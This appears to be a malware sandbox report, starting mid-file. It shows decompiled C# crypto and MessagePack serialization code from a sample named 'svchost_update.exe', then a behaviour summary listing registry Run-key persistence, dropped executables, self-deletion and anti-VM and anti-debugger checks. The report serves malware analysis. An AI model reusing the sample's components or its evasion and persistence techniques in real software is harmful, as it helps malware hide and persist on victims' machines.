			2, 36, 48, 165, 120, 67, 0, 61, 86, 68,
			210, 30, 98, 185, 212, 241, 128, 231, 230, 195,
			57, 65
		};

		public Aes256(string masterKey)
		{
			if (string.IsNullOrEmpty(masterKey))
			{
				throw new ArgumentException("masterKey can not be null or empty.");
			}
			using Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(masterKey, Salt, 50000);
			_key = rfc2898DeriveBytes.GetBytes(32);
			_authKey = rfc2898DeriveBytes.GetBytes(64);
		}

		public string Encrypt(string input)
		{
			return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input)));
		}

		public byte[] Encrypt(byte[] input)
		{
			if (input == null)
			{
				throw new ArgumentNullException("input can not be null.");
			}
			using MemoryStream memoryStream = new MemoryStream();
			memoryStream.Position = 32L;
			using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
			{
				aesCryptoServiceProvider.KeySize = 256;
				aesCryptoServiceProvider.BlockSize = 128;
				aesCryptoServiceProvider.Mode = CipherMode.CBC;
				aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
				aesCryptoServiceProvider.Key = _key;
				aesCryptoServiceProvider.GenerateIV();
				using CryptoStream cryptoStream = new CryptoStream(memoryStream, aesCryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write);
				memoryStream.Write(aesCryptoServiceProvider.IV, 0, aesCryptoServiceProvider.IV.Length);
				cryptoStream.Write(input, 0, input.Length);
				cryptoStream.FlushFinalBlock();
				using HMACSHA256 hMACSHA = new HMACSHA256(_authKey);
				byte[] array = hMACSHA.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
				memoryStream.Position = 0L;
				memoryStream.Write(array, 0, array.Length);
			}
			return memoryStream.ToArray();
		}

		public string Decrypt(string input)
		{
			return Encoding.UTF8.GetString(Decrypt(Convert.FromBase64String(input)));
		}

		public byte[] Decrypt(byte[] input)
		{
			if (input == null)
			{
				throw new ArgumentNullException("input can not be null.");
			}
			using MemoryStream memoryStream = new MemoryStream(input);
			using AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider();
			aesCryptoServiceProvider.KeySize = 256;
			aesCryptoServiceProvider.BlockSize = 128;
			aesCryptoServiceProvider.Mode = CipherMode.CBC;
			aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
			aesCryptoServiceProvider.Key = _key;
			using (HMACSHA256 hMACSHA = new HMACSHA256(_authKey))
			{
				byte[] a = hMACSHA.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
				byte[] array = new byte[32];
				memoryStream.Read(array, 0, array.Length);
				if (!AreEqual(a, array))
				{
					throw new CryptographicException("Invalid message authentication code (MAC).");
				}
			}
			byte[] array2 = new byte[16];
			memoryStream.Read(array2, 0, 16);
			aesCryptoServiceProvider.IV = array2;
			using CryptoStream cryptoStream = new CryptoStream(memoryStream, aesCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Read);
			byte[] array3 = new byte[memoryStream.Length - 16 + 1];
			byte[] array4 = new byte[cryptoStream.Read(array3, 0, array3.Length)];
			Buffer.BlockCopy(array3, 0, array4, 0, array4.Length);
			return array4;
		}

		[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
		private bool AreEqual(byte[] a1, byte[] a2)
		{
			bool result = true;
			for (int i = 0; i < a1.Length; i++)
			{
				if (a1[i] != a2[i])
				{
					result = false;
				}
			}
			return result;
		}
	}
	public static class Sha256
	{
		public static string ComputeHash(string input)
		{
			byte[] array = Encoding.UTF8.GetBytes(input);
			using (SHA256Managed sHA256Managed = new SHA256Managed())
			{
				array = sHA256Managed.ComputeHash(array);
			}
			StringBuilder stringBuilder = new StringBuilder();
			byte[] array2 = array;
			foreach (byte b in array2)
			{
				stringBuilder.Append(b.ToString("X2"));
			}
			return stringBuilder.ToString().ToUpper();
		}

		public static byte[] ComputeHash(byte[] input)
		{
			using SHA256Managed sHA256Managed = new SHA256Managed();
			return sHA256Managed.ComputeHash(input);
		}
	}
}
namespace MessagePackLib.MessagePack
{
	public class BytesTools
	{
		private static UTF8Encoding utf8Encode = new UTF8Encoding();

		public static byte[] GetUtf8Bytes(string s)
		{
			return utf8Encode.GetBytes(s);
		}

		public static string GetString(byte[] utf8Bytes)
		{
			return utf8Encode.GetString(utf8Bytes);
		}

		public static string BytesAsString(byte[] bytes)
		{
			StringBuilder stringBuilder = new StringBuilder();
			foreach (byte b in bytes)
			{
				stringBuilder.Append($"{b:D3} ");
			}
			return stringBuilder.ToString();
		}

		public static string BytesAsHexString(byte[] bytes)
		{
			StringBuilder stringBuilder = new StringBuilder();
			foreach (byte b in bytes)
			{
				stringBuilder.Append($"{b:X2} ");
			}
			return stringBuilder.ToString();
		}

		public static byte[] SwapBytes(byte[] v)
		{
			byte[] array = new byte[v.Length];
			int num = v.Length - 1;
			for (int i = 0; i < array.Length; i++)
			{
				array[i] = v[num];
				num--;
			}
			return array;
		}

		public static byte[] SwapInt64(long v)
		{
			return SwapBytes(BitConverter.GetBytes(v));
		}

		public static byte[] SwapInt32(int v)
		{
			byte[] array = new byte[4];
			array[3] = (byte)v;
			array[2] = (byte)(v >> 8);
			array[1] = (byte)(v >> 16);
			array[0] = (byte)(v >> 24);
			return array;
		}

		public static byte[] SwapInt16(short v)
		{
			byte[] array = new byte[2];
			array[1] = (byte)v;
			array[0] = (byte)(v >> 8);
			return array;
		}

		public static byte[] SwapDouble(double v)
		{
			return SwapBytes(BitConverter.GetBytes(v));
		}
	}
	public class MsgPackEnum : IEnumerator
	{
		private List<MsgPack> children;

		private int position = -1;

		object IEnumerator.Current => children[position];

		public MsgPackEnum(List<MsgPack> obj)
		{
			children = obj;
		}

		bool IEnumerator.MoveNext()
		{
			position++;
			return position < children.Count;
		}

		void IEnumerator.Reset()
		{
			position = -1;
		}
	}
	public class MsgPackArray
	{
		private List<MsgPack> children;

		private MsgPack owner;

		public MsgPack this[int index] => children[index];

		public int Length => children.Count;

		public MsgPackArray(MsgPack msgpackObj, List<MsgPack> listObj)
		{
			owner = msgpackObj;
			children = listObj;
		}

		public MsgPack Add()
		{
			return owner.AddArrayChild();
		}

		public MsgPack Add(string value)
		{
			MsgPack msgPack = owner.AddArrayChild();
			msgPack.AsString = value;
			return msgPack;
		}

		public MsgPack Add(long value)
		{
			MsgPack msgPack = owner.AddArrayChild();
			msgPack.SetAsInteger(value);
			return msgPack;
		}

		public MsgPack Add(double value)
		{
			MsgPack msgPack = owner.AddArrayChild();
			msgPack.SetAsFloat(value);
			return msgPack;
		}
	}
	public class MsgPack : IEnumerable
	{
		private string name;

		private string lowerName;

		private object innerValue;

		private MsgPackType valueType;

		private MsgPack parent;

		private List<MsgPack> children = new List<MsgPack>();

		private MsgPackArray refAsArray;

		public string AsString
		{
			get
			{
				return GetAsString();
			}
			set
			{
				SetAsString(value);
			}
		}

		public long AsInteger
		{
			get
			{
				return GetAsInteger();
			}
			set
			{
				SetAsInteger(value);
			}
		}

		public double AsFloat
		{
			get
			{
				return GetAsFloat();
			}
			set
			{
				SetAsFloat(value);
			}
		}

		public MsgPackArray AsArray
		{
			get
			{
				lock (this)
				{
					if (refAsArray == null)
					{
						refAsArray = new MsgPackArray(this, children);
					}
				}
				return refAsArray;
			}
		}

		public MsgPackType ValueType => valueType;

		private void SetName(string value)
		{
			name = value;
			lowerName = name.ToLower();
		}

		private void Clear()
		{
			for (int i = 0; i < children.Count; i++)
			{
				children[i].Clear();
			}
			children.Clear();
		}

		private MsgPack InnerAdd()
		{
			MsgPack msgPack = new MsgPack();
			msgPack.parent = this;
			children.Add(msgPack);
			return msgPack;
		}

		private int IndexOf(string name)
		{
			int num = -1;
			int result = -1;
			string text = name.ToLower();
			foreach (MsgPack child in children)
			{
				num++;
				if (text.Equals(child.lowerName))
				{
					result = num;
					break;
				}
			}
			return result;
		}

		public MsgPack FindObject(string name)
		{
			int num = IndexOf(name);
			if (num == -1)
			{
				return null;
			}
			return children[num];
		}

		private MsgPack InnerAddMapChild()
		{
			if (valueType != MsgPackType.Map)
			{
				Clear();
				valueType = MsgPackType.Map;
			}
			return InnerAdd();
		}

		private MsgPack InnerAddArrayChild()
		{
			if (valueType != MsgPackType.Array)
			{
				Clear();
				valueType = MsgPackType.Array;
			}
			return InnerAdd();
		}

		public MsgPack AddArrayChild()
		{
			return InnerAddArrayChild();
		}

		private void WriteMap(Stream ms)
		{
			int count = children.Count;
			if (count <= 15)
			{
				byte value = (byte)(128 + (byte)count);
				ms.WriteByte(value);
			}
			else if (count <= 65535)
			{
				byte value = 222;
				ms.WriteByte(value);
				byte[] array = BytesTools.SwapBytes(BitConverter.GetBytes((short)count));
				ms.Write(array, 0, array.Length);
			}
			else
			{
				byte value = 223;
				ms.WriteByte(value);
				byte[] array = BytesTools.SwapBytes(BitConverter.GetBytes(count));
				ms.Write(array, 0, array.Length);
			}
			for (int i = 0; i < count; i++)
			{
				WriteTools.WriteString(ms, children[i].name);
				children[i].Encode2Stream(ms);
			}
		}

		private void WirteArray(Stream ms)
		{
			int count = children.Count;
			if (count <= 15)
			{
				byte value = (byte)(144 + (byte)count);
				ms.WriteByte(value);
			}
			else if (count <= 65535)
			{
				byte value = 220;
				ms.WriteByte(value);
				byte[] array = BytesTools.SwapBytes(BitConverter.GetBytes((short)count));
				ms.Write(array, 0, array.Length);
			}
			else
			{
				byte value = 221;
				ms.WriteByte(value);
				byte[] array = BytesTools.SwapBytes(BitConverter.GetBytes(count));
				ms.Write(array, 0, array.Length);
			}
			for (int i = 0; i < count; i++)
			{
				children[i].Encode2Stream(ms);
			}
		}

		public void SetAsInteger(long value)
		{
			innerValue = value;
			valueType = MsgPackType.Integer;
		}

		public void SetAsUInt64(ulong value)
		{
			innerValue = value;
			valueType = MsgPackType.UInt64;
		}

		public ulong GetAsUInt64()
		{
			return valueType switch
			{
				MsgPackType.Integer => Convert.ToUInt64((long)innerValue), 
				MsgPackType.UInt64 => (ulong)innerValue, 
				MsgPackType.String => ulong.Parse(innerValue.ToString().Trim()), 
				MsgPackType.Float => Convert.ToUInt64((double)innerValue), 
				MsgPackType.Single => Convert.ToUInt64((float)innerValue), 
				MsgPackType.DateTime => Convert.ToUInt64((DateTime)innerValue), 
				_ => 0uL, 
			};
		}

		public long GetAsInteger()
		{
			return valueType switch
			{
				MsgPackType.Integer => (long)innerValue, 
				MsgPackType.UInt64 => Convert.ToInt64((long)innerValue), 
				MsgPackType.String => long.Parse(innerValue.ToString().Trim()), 
				MsgPackType.Float => Convert.ToInt64((double)innerValue), 
				MsgPackType.Single => Convert.ToInt64((float)innerValue), 
				MsgPackType.DateTime => Convert.ToInt64((DateTime)innerValue), 
				_ => 0L, 
			};
		}

		public double GetAsFloat()
		{
			return valueType switch
			{
				MsgPackType.Integer => Convert.ToDouble((long)innerValue), 
				MsgPackType.String => double.Parse((string)innerValue), 
				MsgPackType.Float => (double)innerValue, 
				MsgPackType.Single => (float)innerValue, 
				MsgPackType.DateTime => Convert.ToInt64((DateTime)innerValue), 
				_ => 0.0, 
			};
		}

		public void SetAsBytes(byte[] value)
		{
			innerValue = value;
			valueType = MsgPackType.Binary;
		}

		public byte[] GetAsBytes()
		{
			return valueType switch
			{
				MsgPackType.Integer => BitConverter.GetBytes((long)innerValue), 
				MsgPackType.String => BytesTools.GetUtf8Bytes(innerValue.ToString()), 
				MsgPackType.Float => BitConverter.GetBytes((double)innerValue), 
				MsgPackType.Single => BitConverter.GetBytes((float)innerValue), 
				MsgPackType.DateTime => BitConverter.GetBytes(((DateTime)innerValue).ToBinary()), 
				MsgPackType.Binary => (byte[])innerValue, 
				_ => new byte[0], 
			};
		}

		public void Add(string key, string value)
		{
			MsgPack msgPack = InnerAddArrayChild();
			msgPack.name = key;
			msgPack.SetAsString(value);
		}

		public void Add(string key, int value)
		{
			MsgPack msgPack = InnerAddArrayChild();
			msgPack.name = key;
			msgPack.SetAsInteger(value);
		}

		public bool LoadFileAsBytes(string fileName)
		{
			if (File.Exists(fileName))
			{
				byte[] array = null;
				FileStream fileStream = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read);
				array = new byte[fileStream.Length];
				fileStream.Read(array, 0, (int)fileStream.Length);
				fileStream.Close();
				fileStream.Dispose();
				SetAsBytes(array);
				return true;
			}
			return false;
		}

		public bool SaveBytesToFile(string fileName)
		{
			if (innerValue != null)
			{
				FileStream fileStream = new FileStream(fileName, FileMode.Append);
				fileStream.Write((byte[])innerValue, 0, ((byte[])innerValue).Length);
				fileStream.Close();
				fileStream.Dispose();
				return true;
			}
			return false;
		}

		public MsgPack ForcePathObject(string path)
		{
			MsgPack msgPack = this;
			string[] array = path.Trim().Split('.', '/', '\\');
			string text = null;
			if (array.Length == 0)
			{
				return null;
			}
			if (array.Length > 1)
			{
				for (int i = 0; i < array.Length - 1; i++)
				{
					text = array[i];
					MsgPack msgPack2 = msgPack.FindObject(text);
					if (msgPack2 == null)
					{
						msgPack = msgPack.InnerAddMapChild();
						msgPack.SetName(text);
					}
					else
					{
						msgPack = msgPack2;
					}
				}
			}
			text = array[^1];
			int num = msgPack.IndexOf(text);
			if (num > -1)
			{
				return msgPack.children[num];
			}
			msgPack = msgPack.InnerAddMapChild();
			msgPack.SetName(text);
			return msgPack;
		}

		public void SetAsNull()
		{
			Clear();
			innerValue = null;
			valueType = MsgPackType.Null;
		}

		public void SetAsString(string value)
		{
			innerValue = value;
			valueType = MsgPackType.String;
		}

		public string GetAsString()
		{
			if (innerValue == null)
			{
				return "";
			}
			return innerValue.ToString();
		}

		public void SetAsBoolean(bool bVal)
		{
			valueType = MsgPackType.Boolean;
			innerValue = bVal;
		}

		public void SetAsSingle(float fVal)
		{
			valueType = MsgPackType.Single;
			innerValue = fVal;
		}

		public void SetAsFloat(double fVal)
		{
			valueType = MsgPackType.Float;
			innerValue = fVal;
		}

		public void DecodeFromBytes(byte[] bytes)
		{
			using MemoryStream memoryStream = new MemoryStream();
			bytes = Zip.Decompress(bytes);
			memoryStream.Write(bytes, 0, bytes.Length);
			memoryStream.Position = 0L;
			DecodeFromStream(memoryStream);
		}

		public void DecodeFromFile(string fileName)
		{
			FileStream fileStream = new FileStream(fileName, FileMode.Open);
			DecodeFromStream(fileStream);
			fileStream.Dispose();
		}

		public void DecodeFromStream(Stream ms)
		{
			byte b = (byte)ms.ReadByte();
			byte[] array = null;
			int num = 0;
			int num2 = 0;
			if (b <= 127)
			{
				SetAsInteger(b);
				return;
			}
			if (b >= 128 && b <= 143)
			{
				Clear();
				valueType = MsgPackType.Map;
				num = b - 128;
				for (num2 = 0; num2 < num; num2++)
				{
					MsgPack msgPack = InnerAdd();
					msgPack.SetName(ReadTools.ReadString(ms));
					msgPack.DecodeFromStream(ms);
				}
				return;
			}
			if (b >= 144 && b <= 159)
			{
				Clear();
				valueType = MsgPackType.Array;
				num = b - 144;
				for (num2 = 0; num2 < num; num2++)
				{
					InnerAdd().DecodeFromStream(ms);
				}
				return;
			}
			if (b >= 160 && b <= 191)
			{
				num = b - 160;
				SetAsString(ReadTools.ReadString(ms, num));
				return;
			}
			if (b >= 224 && b <= byte.MaxValue)
			{
				SetAsInteger((sbyte)b);
				return;
			}
			switch (b)
			{
			case 192:
				SetAsNull();
				return;
			case 193:
				throw new Exception("(never used) type $c1");
			case 194:
				SetAsBoolean(bVal: false);
				return;
			case 195:
				SetAsBoolean(bVal: true);
				return;
			case 196:
				num = ms.ReadByte();
				array = new byte[num];
				ms.Read(array, 0, num);
				SetAsBytes(array);
				return;
			case 197:
				array = new byte[2];
				ms.Read(array, 0, 2);
				array = BytesTools.SwapBytes(array);
				num = BitConverter.ToUInt16(array, 0);
				array = new byte[num];
				ms.Read(array, 0, num);
				SetAsBytes(array);
				return;
			case 198:
				array = new byte[4];
				ms.Read(array, 0, 4);
				array = BytesTools.SwapBytes(array);
				num = BitConverter.ToInt32(array, 0);
				array = new byte[num];
				ms.Read(array, 0, num);
				SetAsBytes(array);
				return;
			case 199:
			case 200:
			case 201:
				throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9");
			case 202:
				array = new byte[4];
				ms.Read(array, 0, 4);
				array = BytesTools.SwapBytes(array);
				SetAsSingle(BitConverter.ToSingle(array, 0));
				return;
			case 203:
				array = new byte[8];
				ms.Read(array, 0, 8);
				array = BytesTools.SwapBytes(array);
				SetAsFloat(BitConverter.ToDouble(array, 0));
				return;
			case 204:
				b = (byte)ms.ReadByte();
				SetAsInteger(b);
				return;
			case 205:
				array = new byte[2];
				ms.Read(array, 0, 2);
				array = BytesTools.SwapBytes(array);
				SetAsInteger(BitConverter.ToUInt16(array, 0));
				return;
			case 206:
				array = new byte[4];
				ms.Read(array, 0, 4);
				array = BytesTools.SwapBytes(array);
				SetAsInteger(BitConverter.ToUInt32(array, 0));
				return;
			case 207:
				array = new byte[8];
				ms.Read(array, 0, 8);
				array = BytesTools.SwapBytes(array);
				SetAsUInt64(BitConverter.ToUInt64(array, 0));
				return;
			case 220:
				array = new byte[2];
				ms.Read(array, 0, 2);
				array = BytesTools.SwapBytes(array);
				num = BitConverter.ToInt16(array, 0);
				Clear();
				valueType = MsgPackType.Array;
				for (num2 = 0; num2 < num; num2++)
				{
					InnerAdd().DecodeFromStream(ms);
				}
				return;
			case 221:
				array = new byte[4];
				ms.Read(array, 0, 4);
				array = BytesTools.SwapBytes(array);
				num = BitConverter.ToInt16(array, 0);
				Clear();
				valueType = MsgPackType.Array;
				for (num2 = 0; num2 < num; num2++)
				{
					InnerAdd().DecodeFromStream(ms);
				}
				return;
			case 217:
				SetAsString(ReadTools.ReadString(b, ms));
				return;
			case 222:
				array = new byte[2];
				ms.Read(array, 0, 2);
				array = BytesTools.SwapBytes(array);
				num = BitConverter.ToInt16(array, 0);
				Clear();
				valueType = MsgPackType.Map;
				for (num2 = 0; num2 < num; num2++)
				{
					MsgPack msgPack2 = InnerAdd();
					msgPack2.SetName(ReadTools.ReadString(ms));
					msgPack2.DecodeFromStream(ms);
				}
				return;
			}
			switch (b)
			{
			case 222:
				array = new byte[2];
				ms.Read(array, 0, 2);
				array = BytesTools.SwapBytes(array);
				num = BitConverter.ToInt16(array, 0);
				Clear();
				valueType = MsgPackType.Map;
				for (num2 = 0; num2 < num; num2++)
				{
					MsgPack msgPack4 = InnerAdd();
					msgPack4.SetName(ReadTools.ReadString(ms));
					msgPack4.DecodeFromStream(ms);
				}
				break;
			case 223:
				array = new byte[4];
				ms.Read(array, 0, 4);
				array = BytesTools.SwapBytes(array);
				num = BitConverter.ToInt32(array, 0);
				Clear();
				valueType = MsgPackType.Map;
				for (num2 = 0; num2 < num; num2++)
				{
					MsgPack msgPack3 = InnerAdd();
					msgPack3.SetName(ReadTools.ReadString(ms));
					msgPack3.DecodeFromStream(ms);
				}
				break;
			case 218:
				SetAsString(ReadTools.ReadString(b, ms));
				break;
			case 219:
				SetAsString(ReadTools.ReadString(b, ms));
				break;
			case 208:
				SetAsInteger((sbyte)ms.ReadByte());
				break;
			case 209:
				array = new byte[2];
				ms.Read(array, 0, 2);
				array = BytesTools.SwapBytes(array);
				SetAsInteger(BitConverter.ToInt16(array, 0));
				break;
			case 210:
				array = new byte[4];
				ms.Read(array, 0, 4);
				array = BytesTools.SwapBytes(array);
				SetAsInteger(BitConverter.ToInt32(array, 0));
				break;
			case 211:
				array = new byte[8];
				ms.Read(array, 0, 8);
				array = BytesTools.SwapBytes(array);
				SetAsInteger(BitConverter.ToInt64(array, 0));
				break;
			}
		}

		public byte[] Encode2Bytes()
		{
			using MemoryStream memoryStream = new MemoryStream();
			Encode2Stream(memoryStream);
			byte[] array = new byte[memoryStream.Length];
			memoryStream.Position = 0L;
			memoryStream.Read(array, 0, (int)memoryStream.Length);
			return Zip.Compress(array);
		}

		public void Encode2Stream(Stream ms)
		{
			switch (valueType)
			{
			case MsgPackType.Unknown:
			case MsgPackType.Null:
				WriteTools.WriteNull(ms);
				break;
			case MsgPackType.String:
				WriteTools.WriteString(ms, (string)innerValue);
				break;
			case MsgPackType.Integer:
				WriteTools.WriteInteger(ms, (long)innerValue);
				break;
			case MsgPackType.UInt64:
				WriteTools.WriteUInt64(ms, (ulong)innerValue);
				break;
			case MsgPackType.Boolean:
				WriteTools.WriteBoolean(ms, (bool)innerValue);
				break;
			case MsgPackType.Float:
				WriteTools.WriteFloat(ms, (double)innerValue);
				break;
			case MsgPackType.Single:
				WriteTools.WriteFloat(ms, (float)innerValue);
				break;
			case MsgPackType.DateTime:
				WriteTools.WriteInteger(ms, GetAsInteger());
				break;
			case MsgPackType.Binary:
				WriteTools.WriteBinary(ms, (byte[])innerValue);
				break;
			case MsgPackType.Map:
				WriteMap(ms);
				break;
			case MsgPackType.Array:
				WirteArray(ms);
				break;
			default:
				WriteTools.WriteNull(ms);
				break;
			}
		}

		IEnumerator IEnumerable.GetEnumerator()
		{
			return new MsgPackEnum(children);
		}
	}
	public enum MsgPackType
	{
		Unknown,
		Null,
		Map,
		Array,
		String,
		Integer,
		UInt64,
		Boolean,
		Float,
		Single,
		DateTime,
		Binary
	}
	internal class ReadTools
	{
		public static string ReadString(Stream ms, int len)
		{
			byte[] array = new byte[len];
			ms.Read(array, 0, len);
			return BytesTools.GetString(array);
		}

		public static string ReadString(Stream ms)
		{
			return ReadString((byte)ms.ReadByte(), ms);
		}

		public static string ReadString(byte strFlag, Stream ms)
		{
			byte[] array = null;
			int num = 0;
			if (strFlag >= 160 && strFlag <= 191)
			{
				num = strFlag - 160;
			}
			else
			{
				switch (strFlag)
				{
				case 217:
					num = ms.ReadByte();
					break;
				case 218:
					array = new byte[2];
					ms.Read(array, 0, 2);
					array = BytesTools.SwapBytes(array);
					num = BitConverter.ToUInt16(array, 0);
					break;
				case 219:
					array = new byte[4];
					ms.Read(array, 0, 4);
					array = BytesTools.SwapBytes(array);
					num = BitConverter.ToInt32(array, 0);
					break;
				}
			}
			array = new byte[num];
			ms.Read(array, 0, num);
			return BytesTools.GetString(array);
		}
	}
	internal class WriteTools
	{
		public static void WriteNull(Stream ms)
		{
			ms.WriteByte(192);
		}

		public static void WriteString(Stream ms, string strVal)
		{
			byte[] utf8Bytes = BytesTools.GetUtf8Bytes(strVal);
			byte[] array = null;
			int num = utf8Bytes.Length;
			byte b = 0;
			if (num <= 31)
			{
				b = (byte)(160 + (byte)num);
				ms.WriteByte(b);
			}
			else if (num <= 255)
			{
				b = 217;
				ms.WriteByte(b);
				b = (byte)num;
				ms.WriteByte(b);
			}
			else if (num <= 65535)
			{
				b = 218;
				ms.WriteByte(b);
				array = BytesTools.SwapBytes(BitConverter.GetBytes((short)num));
				ms.Write(array, 0, array.Length);
			}
			else
			{
				b = 219;
				ms.WriteByte(b);
				array = BytesTools.SwapBytes(BitConverter.GetBytes(num));
				ms.Write(array, 0, array.Length);
			}
			ms.Write(utf8Bytes, 0, utf8Bytes.Length);
		}

		public static void WriteBinary(Stream ms, byte[] rawBytes)
		{
			byte[] array = null;
			int num = rawBytes.Length;
			byte b = 0;
			if (num <= 255)
			{
				b = 196;
				ms.WriteByte(b);
				b = (byte)num;
				ms.WriteByte(b);
			}
			else if (num <= 65535)
			{
				b = 197;
				ms.WriteByte(b);
				array = BytesTools.SwapBytes(BitConverter.GetBytes((short)num));
				ms.Write(array, 0, array.Length);
			}
			else
			{
				b = 198;
				ms.WriteByte(b);
				array = BytesTools.SwapBytes(BitConverter.GetBytes(num));
				ms.Write(array, 0, array.Length);
			}
			ms.Write(rawBytes, 0, rawBytes.Length);
		}

		public static void WriteFloat(Stream ms, double fVal)
		{
			ms.WriteByte(203);
			ms.Write(BytesTools.SwapDouble(fVal), 0, 8);
		}

		public static void WriteSingle(Stream ms, float fVal)
		{
			ms.WriteByte(202);
			ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4);
		}

		public static void WriteBoolean(Stream ms, bool bVal)
		{
			if (bVal)
			{
				ms.WriteByte(195);
			}
			else
			{
				ms.WriteByte(194);
			}
		}

		public static void WriteUInt64(Stream ms, ulong iVal)
		{
			ms.WriteByte(207);
			byte[] bytes = BitConverter.GetBytes(iVal);
			ms.Write(BytesTools.SwapBytes(bytes), 0, 8);
		}

		public static void WriteInteger(Stream ms, long iVal)
		{
			if (iVal >= 0)
			{
				if (iVal <= 127)
				{
					ms.WriteByte((byte)iVal);
				}
				else if (iVal <= 255)
				{
					ms.WriteByte(204);
					ms.WriteByte((byte)iVal);
				}
				else if (iVal <= 65535)
				{
					ms.WriteByte(205);
					ms.Write(BytesTools.SwapInt16((short)iVal), 0, 2);
				}
				else if (iVal <= uint.MaxValue)
				{
					ms.WriteByte(206);
					ms.Write(BytesTools.SwapInt32((int)iVal), 0, 4);
				}
				else
				{
					ms.WriteByte(211);
					ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
				}
			}
			else if (iVal <= int.MinValue)
			{
				ms.WriteByte(211);
				ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
			}
			else if (iVal <= -32768)
			{
				ms.WriteByte(210);
				ms.Write(BytesTools.SwapInt32((int)iVal), 0, 4);
			}
			else if (iVal <= -128)
			{
				ms.WriteByte(209);
				ms.Write(BytesTools.SwapInt16((short)iVal), 0, 2);
			}
			else if (iVal <= -32)
			{
				ms.WriteByte(208);
				ms.WriteByte((byte)iVal);
			}
			else
			{
				ms.WriteByte((byte)iVal);
			}
		}
	}
	public static class Zip
	{
		public static byte[] Decompress(byte[] input)
		{
			using MemoryStream memoryStream = new MemoryStream(input);
			byte[] array = new byte[4];
			memoryStream.Read(array, 0, 4);
			int num = BitConverter.ToInt32(array, 0);
			using GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Decompress);
			byte[] array2 = new byte[num];
			gZipStream.Read(array2, 0, num);
			return array2;
		}

		public static byte[] Compress(byte[] input)
		{
			using MemoryStream memoryStream = new MemoryStream();
			byte[] bytes = BitConverter.GetBytes(input.Length);
			memoryStream.Write(bytes, 0, 4);
			using (GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Compress))
			{
				gZipStream.Write(input, 0, input.Length);
				gZipStream.Flush();
			}
			return memoryStream.ToArray();
		}
	}
}
[CompilerGenerated]
internal sealed class MessagePackLib.<PrivateImplementationDetails>
{
	[StructLayout(LayoutKind.Explicit, Pack = 1, Size = 6)]
	internal struct __StaticArrayInitTypeSize=6
	{
	}

	internal static readonly __StaticArrayInitTypeSize=6 87639126EA77B358F26532367DBA67C5310EF50A8D9888ED070CD40E1F605A8F/* Not supported: data(2E 00 2F 00 5C 00) */;
}
You are not using the latest version of the tool, please update.
Latest version is '11.1.0.9782' (yours is '8.2.0.7535-95108c96')

Screen recording

13 frames · screen recording · 144s
Screen recording frame
1 / 13
0:00 · 1/13
Download this recording Download video (.mp4) Download GIF (.gif) Building the file runs an encode on this platform, so it is kept to signed-in accounts. Signing in brings you back to this report.

Behavior summary

ran 143s

5 process(es) observed; malicious behavior: dropped_executable, registry_persistence; 2 dropped executable(s)

LaunchedC:\Users\user\Desktop\svchost_update.exe
Privilegestandard
Persistence::Registry Run Keys [T1547.001]
dropped_executableregistry_persistence
Telemetry sources: Kernel ETW (108 of 585 events) agent poll: 9Process audit: 5keydiff: 3In-process monitor: 17Autostart diff: 1

Evasion / anti-analysis checks

13 checks
HIGH
SLDT descriptor-table read (red pill anti-VM) static-instruction
MITRE T1497.001 · 7x sldt
HIGH
IN port I/O (VMware backdoor / anti-VM) static-instruction
MITRE T1497.001 · 3x in
HIGH
Self delete Capability rule
MITRE T1070.004 · Anti-forensic: self-deletion
MED
System Checks Capability analysis
MITRE T1497
MED
Check for sandbox and av modules Capability rule
MITRE T1497 · Anti-analysis
MED
Check for debugger via API Capability rule
MITRE T1622 · Debugger detection
MED
Reference anti-VM strings targeting VMWare Capability rule
MITRE T1497.001 · Virtual-machine detection
MED
Reference anti-VM strings targeting VirtualBox Capability rule
MITRE T1497.001 · Virtual-machine detection
MED
Debugger Detection::CheckRemoteDebuggerPresent Capability taxonomy
MITRE T1497 · Anti-Behavioral Analysis
MED
Debugger Detection::WudfIsAnyDebuggerPresent Capability taxonomy
MITRE T1497 · Anti-Behavioral Analysis
MED
Sandbox Detection Capability taxonomy
MITRE T1497 · Anti-Behavioral Analysis
MED
Virtual Machine Detection Capability taxonomy
MITRE T1497 · Anti-Behavioral Analysis
MED
Anti-analysis strings (VM/debugger/tool names) strings
MITRE T1497 · checkremotedebuggerpresent, isdebuggerpresent, sandboxie, sbiedll, vmware

Statically visible checks (RDTSC/CPUID/red-pill instructions, anti-debug APIs) plus runtime evasion signals. Instruction-level interception at runtime requires hypervisor introspection (VMI).

Kernel audit saw no cross-process reach. Kernel object-access auditing and the thread trace were active on this run and attributed no handle to another process, no remote or unbacked thread start and no spoofed parent to the sample tree. An observation, not a gap.

No WMI attributed to the sample. The WMI-Activity trace was running and recorded 1045 operations on the machine during the run; none of them came from the sample's process tree.

Command lines, unwrapped

5 read

5 captured texts were read and unwrapped locally. No address was recovered from any of them, and none of them was hiding its own contents behind an encoding or a format string. This is a result, not a gap.

Network activity

The network section is a paid-plan layer: the DNS the sample resolved, the connections it opened, the TLS it negotiated, and the rule engine's reading of the capture.

This run was captured, and what it captured is on a paid plan rather than absent. An internet-connected detonation is the same plan, so a paid run also shows what the sample reached rather than only what it tried.

See plans Create an account

Process tree

What ran during the detonation, and what each process did. Select a node to see the activity attributed to it.

5processes
2file operations
9registry operations
2dropped files

svchost_update.exe

5 processes
5 processes

Attributed activity

Not attributed to any process

2 kinds

These operations were captured but carry no pid this tree could match, so they are not shown against any node above.

File operations3
Registry operations4
1Mechanisms found
90Methods checked
1ATT&CK techniques
HIGHHighest severity

Persistence mechanisms

1 found
